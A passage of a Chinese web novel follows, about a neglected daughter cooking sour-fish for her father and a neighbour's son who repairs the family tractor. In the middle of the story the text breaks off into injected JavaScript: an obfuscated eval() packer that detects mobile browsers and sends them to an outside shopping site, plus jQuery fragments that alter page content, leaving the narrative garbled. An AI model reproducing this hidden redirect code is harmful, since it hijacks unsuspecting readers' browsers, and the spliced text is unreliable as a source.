卫学良觉得,自女儿回来,他这日子算是舒坦了。
清晨睁开眼,灶房里早飘出了香气。搪瓷碗里卧着溏心蛋,盘子里有最新鲜的翠绿蔬菜,还有女儿烙的葱油饼,咬开满是葱香,配着一碗温热的蛋花汤,比他自己胡乱煮的杂粮粥强百倍。
下午收车回家更省心,鸡也喂饱进笼了,猪圈里的猪也哼哧哼哧嚼着新鲜猪草,不再是从前干瘪的草料。卫学良瞅着猪圈里黑猪圆润的肚子,满意得很。
这丫头回来,连猪都跟着享福了。
还有地里的活,豆干扯回来了,玉米掰回来,全都晾在廊檐下,省了他不少事。
入夜暑气难消,卫学良擦了把身子便回了房。
看冯玉珍在床上翻来覆去没个安稳,他心情好,随意说道。
“我看婷婷这回回来挺勤快,今天扯的豆子、掰的玉米,都码得整整齐齐的,竹笋也漂在盆里明天就能吃。”
这话说的,让冯玉珍听得心里烦躁,她抓起枕边的蒲扇,“呼呼”地猛扇。
“咱们养她这么多年,现在又都这么大了还挣不了钱,不干点活,还能一直这样吃白食下去啊?”
卫学良把背心脱掉,穿着个裤衩子就上了床:“我看她挺勤快的,不如让她留在家里。地里的活能帮衬你,你也能清闲些。”
冯玉珍扇扇子的手停下,黑暗中,她的目光透着不可思议:“你说真的?”
“这不是跟你商量嘛,看你意思。”卫学良躺平身子,声音含糊了些。
黑暗中冯玉珍没有说话。但很奇异的,卫学良就知道妻子的情绪不太好。
他知道妻子一向不待见女儿,但凡有机会就想把人往外送。可现在见女儿这么好,他想争取争取,将女儿留在家里。
过了好一会儿就在卫学良以为妻子睡着的时候。他听到黑暗中传来妻子幽幽的声音。
“庙里的和尚早给我算过,她克我。只要她在家,我就没好过,要不是觉得胸闷,就是生病。我也想轻松,可我要是倒了,这个家怎么办?你整天在外跑,晨晨谁管?”
卫学良皱起眉,想说“破四旧都多少年了,还信这些”,可话到嘴边又咽了回去。他清楚,女儿在家时,冯玉珍确实整日烦躁,脾气也越发火爆。既然她介意反对,自己多说也无用。
“行,你要是实在不乐意,那以后打算怎么安排她?”
怎么安排?
若是按照以往,她肯定是想将人送到大哥家里去。可是大哥最近又拿了她一千块钱,她正伤心,他不想将女儿送去当免费劳动力。
好在如今女儿大了,倒有了更多的去处。
“老邢的女儿不是去南省了吗?让她去南省打工吧,那边收入高。咱们也不要她的钱,让她自己攒着,将来出嫁当嫁妆。”
“南省?那也太远了吧?老邢的女儿那是和她男人一起去的,人家夫妻有照应,婷婷一个人去怎么行?”
卫学良有些犹豫。
远才好呢。最好去了就嫁在当地,永远别回来。
这是冯玉珍的真实想法,可是她不能这样和丈夫说,这样显得她自己太冷情了。
“远怕什么,到时候你和老邢说说,让他女儿帮忙照看一下。你要往好处想,那边发展好,婷婷去了说不定能遇上贵人,总比在咱们这穷乡僻壤耽误了强。你看咱们村,哪有什么好出路?”
卫学良:“可咱们不也这样过来了?日子也没差到哪儿去。”
“你是千里挑一的好男人,能挣钱对我又好,我这么好的运气才能碰上你。咱们村咱们公社咱们县,也就只有你这么一个好人。这么好的人都被我挑走了,婷婷还能在这里碰上,不如出去碰一碰机会。”
冯玉珍的话蜜糖,卫学良被灌得很舒服,心里再多的犹豫也暂时散了。
“行吧,改天问问她的意思,别到时候怨咱们。”卫学良松了口。
说起女儿,他又想起那口好吃的,兴致勃勃道:“对了,婷婷做饭手艺好,刚好趁她在家,我请老许他们过来吃顿饭。明天让婷婷做一桌,在家招待也省钱。老许儿子回来了,那小子懂拖拉机,正好帮我检查检查车子,好久没大检了。”
“好。”
冯玉珍应得干脆。
老许那儿子是出了名的混不吝,打架惹事是家常便饭。
不过他的技术确实是很好,拖拉机的事情的问题老许和丈夫都解决不了,这小子竟然能解决。
卫南亭接过卫学良递来的5块钱,愣了愣才反应过来。
原来是父亲早跟许明起爸爸约好今天来修拖拉机,怪不得许明起昨天那般笃定。她松了口气,还好不用费心思找借口留许明起吃午饭了。
许明起跟着父亲往卫家走,脚步轻快。昨天随口一提“明天来吃竹笋炒肉”,实则是他给自己找的来她家的由头。他知道她在舅舅家不好过,在家里呢?他想过来亲眼瞧瞧。顺便考验一下这丫头是不是真把他的话当回事。远远瞧见卫家厨房飘出的炊烟,他心下一定——她在家。
虽不是赶集日,镇上肉摊依旧撑着。卫南亭攥着5块钱,干脆利落地全换了新鲜猪肉,让王大爷给花成几刀,用草绳拴着,留一坨挂在自行车龙头钱,其余放进背篓。
路过大伯娘家的篱笆院,她停下脚步,鼻尖似乎已闻到那股熟悉的酸香。
大伯娘做的酸菜酸香十足。
空间摘的大番茄,红通通的,看着就喜人,她用六个番茄换了好多酸菜。
拖拉机旁,许明起正低头拆卸一个锈住的零件,耳尖却捕捉到一阵由远及近的自行车铃声。他歪头抬眼,正好看见卫南亭从镇上回来,车把上挂着一块显眼的、肥瘦相间的猪肉。他手上拆卸的动作没停,嘴角微悄。
嗯,说到做到。
许明起一边听着父辈闲聊,一边留意着卫南亭的动向。见她走近,背篓里似乎多了东西,心里便有了几分猜测。看来,今天不止是竹笋炒肉那么简单。
卫南亭回家后,趁冯玉珍不在,她把酸菜摊在案板上,拣出做酸菜鱼的量,剩下的酸菜切得细碎,撒上辣椒段,下锅爆炒,来不及凉冷就装进玻璃罐,往空间竹楼厨房一放,动作干脆利落。
厨房里,水壶“呜呜”地冒起白汽,卫南亭快步上前,左手扶壶柄,稳稳拎起,将水暖水瓶口倾斜。
拿着他爸爸的砖茶,泡了几杯茶。
她捧着茶杯走到门口,拖拉机停放处。
家里的物质条件,比舅舅家强了百倍。但凡她妈态度好一点,她都愿意在家里,好菜好肉的将父母伺候得舒舒服服。
但是奈何她的父母缘实在是太薄弱了,这是强求也强求不来的。
她心口发闷,轻轻叹了口气,把茶杯放在拖拉机旁的凳子上。
拖拉机旁,卫学良、许明起和老许三个人在铺着稻草的车底钻来钻去,胳膊肘撑着地,手上、袖子上全蹭得黑黢黢的机油。
卫南亭见他们无法喝水,从麦秆堆里折了几节粗细均匀的麦秆,挨个插
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773668|186557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进茶缸里,麦秆在茶汤中,像几根小巧的吸管。
刚好,老许正好从车底挪出来,膝盖着地撑着身子直起身,一眼瞥见茶缸里的麦秆:“老卫,你这丫头可太聪明了!”
许明起闻声望去,目光先落在那些细长的麦秆上,怔了一瞬,随即抬眼,看向正站在一旁的卫南亭。她额角有细密的汗珠,眼神清澈。
四目相对的一刹那,他看到她眼底闪过一丝被夸奖后的赧然,随即移开视线,转身又进了厨房。
许明起收回目光,靠近茶缸,就着麦秆吸了一口。温热的茶水带着砖茶特有的醇厚滚入喉咙,缓解了他的渴。
卫学良也跟着探出头,脖子一伸,看见女儿的巧思,嘴角忍不住往上翘,眼里满是骄傲。他觉得自己的女儿就是很聪明,自己的种就是很厉害。
“没有你儿子明起厉害,修车是一把好手就不说了,读书还厉害。是高中生了吧?再过一年是要考大学了吧?”
卫学良表面还是要谦虚一下的。
“是啊,明年就是高三了,希望能考得上一个好大学你给我争争光,让他妈妈高兴高兴。”
老许想到自己已故的妻子也是半天不说话。
卫南亭进了厨房,从空间拎出三条鲜鱼放在案板上。这是昨天晚上从空间里的河里打捞了几条鱼。
听着父辈的对话,许明起没有插嘴。他心思却飘进了厨房,那里正传来有节奏的“哒哒”声,是刀刃快速落在案板上的声音。他几乎能想象出她熟练宰鱼的模样。
一处检修好,许明起直起身,活动筋骨,进屋要经过厨房,看见卫南亭正低头片鱼,侧影专注,手法快而稳。几
缕碎发垂在她颊边,随着她的动作轻轻晃动。他心头莫名一动,这是人间烟火气,让他觉得舒服。
忽然觉得,这个看似沉静寡言的姑娘,身体里仿佛蕴藏着一种锋利而坚韧的力量。这力量,与这狭小厨房、与这乡下地方,都有些格格不入。
就好似,她不该困于厨房这方寸之间。
卫南亭处理干净鱼,右手持刀贴着鱼骨片下鱼肉,刀刃与案板碰撞发出轻快的哒哒声,没一会儿就片出一大盘又薄又大的鱼片,晶莹剔透得能透光。
从外面打牌回来的冯玉珍路过厨房,忍不住停下脚,看了看鱼片。
她平时从不买鱼,嫌收拾起来又腥又麻烦,可看女儿这熟练的模样,倒像是能做出什么美味。对于儿子口中的“酸菜鱼”,她竟然有些期待起来。
“就做个饭,这么大阵仗。灶台上都是碗和盘子,一会儿收拾好。”
卫南亭扫了一眼灶台,调料瓶全被她拿出来摆在灶台上,另外还有许多装料的碗。有的装葱段,有的装葱节,有的装香菜,有的装干辣椒和花椒……大大小小有十几个,摆满了灶台。
……这大概是大厨的习惯。
柑橘树下有一桶水,许明起去洗手,冰凉的水冲去手上的油污。
他听着厨房里冯玉珍那带着挑剔的唠叨,卫南亭只是沉默以对,眉头几不可察地蹙了一下。他甩了甩手上的水珠,从厨房出去。
卫南亭这次看见了他,偏头对他笑:“你等着,一会儿做个本公社最美味的酸菜鱼给你吃。”
不被母亲待见,还笑得如此明媚,她的心中有个太阳吧,驱散了周围坏人带给她的阴霾。
许明起扬眉:“如果不好吃,我就捉鸡。”
卫南亭:“捉急?你肚子饿了啊?不用担心,半个小时内开饭。”